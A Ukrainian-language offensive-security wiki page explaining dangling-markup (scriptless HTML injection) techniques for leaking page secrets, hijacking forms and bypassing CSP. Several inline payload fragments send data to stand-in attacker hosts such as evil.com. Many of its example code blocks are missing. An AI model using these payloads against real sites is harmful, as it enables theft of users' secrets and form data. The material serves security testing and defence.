Dangling Markup - HTML scriptless injection
Резюме
Ця техніка може бути використана для витягування інформації від користувача, коли знайдена HTML ін'єкція. Це дуже корисно, якщо ви не знаходите способу експлуатації XSS, але ви можете впровадити деякі HTML теги. Це також корисно, якщо деякий секрет зберігається у відкритому вигляді в HTML і ви хочете його ексфільтрувати з клієнта, або якщо ви хочете збити з пантелику виконання деякого скрипту.
Декілька технік, які тут коментуються, можуть бути використані для обхіду деяких Політик безпеки вмісту шляхом ексфільтрації інформації несподіваними способами (html теги, CSS, http-meta теги, форми, base...).
Основні Застосування
Викрадення секретів у відкритому вигляді
Якщо ви впроваджуєте <img src='http://evil.com/log.cgi?
, коли сторінка завантажується, жертва надішле вам весь код між впровадженим тегом img
та наступною лапкою всередині коду. Якщо секрет якимось чином знаходиться в цьому фрагменті, ви його вкрадете (ви можете зробити те саме, використовуючи подвійну лапку, подивіться, яка може бути цікавішою для використання).
Якщо тег img
заборонений (наприклад, через CSP), ви також можете використовувати <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
.
Зверніть увагу, що Chrome блокує HTTP URL-адреси з "<" або "\n" у них, тому ви можете спробувати інші схеми протоколу, наприклад "ftp".
Ви також можете зловживати CSS @import
(відправить увесь код до того, як він знайде ";")
Ви також можете використовувати <table
:
Ви також можете вставити тег <base
. Усю інформацію буде відправлено до закриття лапок, але це вимагає деякої взаємодії з користувачем (користувач повинен клацнути по якому-небудь посиланню, оскільки тег base змінить домен, на який вказує посилання):
Викрадення форм
Потім форми, які надсилають дані за шляхом (наприклад, <form action='update_profile.php'>
), надсилатимуть дані на зловмисний домен.
Викрадення форм 2
Встановіть заголовок форми: <form action='http://evil.com/log_steal'>
це перезапише наступний заголовок форми, і всі дані з форми будуть надіслані зловмиснику.
Викрадення форм 3
Кнопка може змінити URL, куди будуть надіслані дані форми, за допомогою атрибута "formaction":
Злоумисник може використати це для крадіжки інформації.
Знайдіть приклад цього нападу в цьому описі.
Крадіжка секретів у відкритому тексті 2
Використовуючи останню згадану техніку для крадіжки форм (впровадження нового заголовка форми), ви можете потім впровадити нове поле введення:
і це поле введення буде містити весь вміст між його подвійними лапками та наступними подвійними лапками в HTML. Цей атака поєднує "Викрадення секретів у відкритому тексті" з "Викраденням форм2".
Ви можете зробити те саме, впроваджуючи форму та тег <option>
. Усі дані до закритого </option>
будуть відправлені:
Впорядкований вплив параметрів
Ви можете змінити шлях форми та вставити нові значення, щоб виконувалася неочікувана дія:
Викрадення секретів у відкритому вигляді через noscript
<noscript></noscript>
- це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує JavaScript (ви можете увімкнути / вимкнути JavaScript у Chrome в chrome://settings/content/javascript).
Спосіб виведення вмісту веб-сторінки від точки впровадження до низу на сайт, керований зловмисником, буде впровадження наступного:
Обхід CSP за допомогою взаємодії з користувачем
З цього дослідження портсвігерів ви можете дізнатися, що навіть в найбільш обмежених CSP середовищах ви все ще можете ексфільтрувати дані за допомогою взаємодії з користувачем. У цьому випадку ми будемо використовувати полезний навантаження:
Зверніть увагу, що ви попросите жертву клацнути по посиланню, яке перенаправить його на вантаж, котрим ви керуєте. Також зверніть увагу, що атрибут target
всередині тегу base
буде містити HTML вміст до наступної одинарної лапки.
Це зробить так, що значення window.name
після кліку по посиланню буде містити весь цей HTML вміст. Тому, оскільки ви керуєте сторінкою, на яку звертається жертва, клікнувши по посиланню, ви можете отримати доступ до window.name
та ексфільтрувати ці дані:
Помилковий сценарій роботи скрипта 1 - Атака на простір імен HTML
Вставте новий тег з ідентифікатором всередині HTML, який перезапише наступний тег і зі значенням, яке вплине на хід виконання скрипта. У цьому прикладі ви вибираєте, з ким буде поділена інформація:
Плутливий скриптовий робочий процес 2 - Атака на простір імен скрипта
Створіть змінні всередині простору імен JavaScript, вставивши HTML-теги. Потім ця змінна вплине на хід роботи додатка:
Зловживання JSONP
Якщо ви знайдете інтерфейс JSONP, ви зможете викликати довільну функцію з довільними даними:
Або ви можете спробувати виконати деякий javascript:
Зловживання Iframe
Дочірній документ має можливість переглядати та змінювати властивість location
свого батька, навіть в ситуаціях між доменами. Це дозволяє вбудовувати скрипт в iframe, який може перенаправити клієнта на довільну сторінку:
Це можна пом'якшити, використавши щось на зразок: sandbox=' allow-scripts allow-top-navigation'
Також iframe можна використовувати для витоку чутливої інформації з іншої сторінки з використанням атрибуту імені iframe. Це тому, що можна створити iframe, який вбирає сам себе, зловживаючи HTML-ін'єкцією, яка робить чутливу інформацію видимою всередині атрибуту імені iframe, а потім отримати доступ до цього імені з початкового iframe та витікти її.
Для отримання додаткової інформації перегляньте https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Зловживання тегом <meta
Ви можете використовувати meta http-equiv
для виконання кількох дій, таких як встановлення Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
або перенаправлення (через 5 секунд у цьому випадку): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Цього можна уникнути за допомогою CSP щодо http-equiv (Content-Security-Policy: default-src 'self';
, або Content-Security-Policy: http-equiv 'self';
)
Новий тег HTML <portal
Ви можете знайти дуже цікаві дослідження щодо вразливостей тегу <portal тут.
На момент написання цього тексту вам потрібно активувати тег порталу в Chrome за адресою chrome://flags/#enable-portals
, інакше він не буде працювати.
Витоки HTML
Не всі способи витоку зв'язку в HTML будуть корисні для Dangling Markup, але іноді це може допомогти. Перевірте їх тут: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Це поєднання між dangling markup та XS-Leaks. З одного боку, уразливість дозволяє впроваджувати HTML (але не JS) на сторінці того ж походження, як і та, яку ми будемо атакувати. З іншого боку, ми не будемо атакувати безпосередньо сторінку, де ми можемо впроваджувати HTML, але іншу сторінку.
pageSS-LeaksXS-Search/XS-Leaks
XS-Search орієнтовані на ексфільтрацію інформації між походженнями, зловживаючи атаками бічного каналу. Тому це відмінна техніка від Dangling Markup, однак деякі з технік використовують включення тегів HTML (з виконанням та без нього), такі як Впровадження CSS або Ліниве завантаження зображень.
pageXS-Search/XS-LeaksСписок виявлення перебору
Посилання
Last updated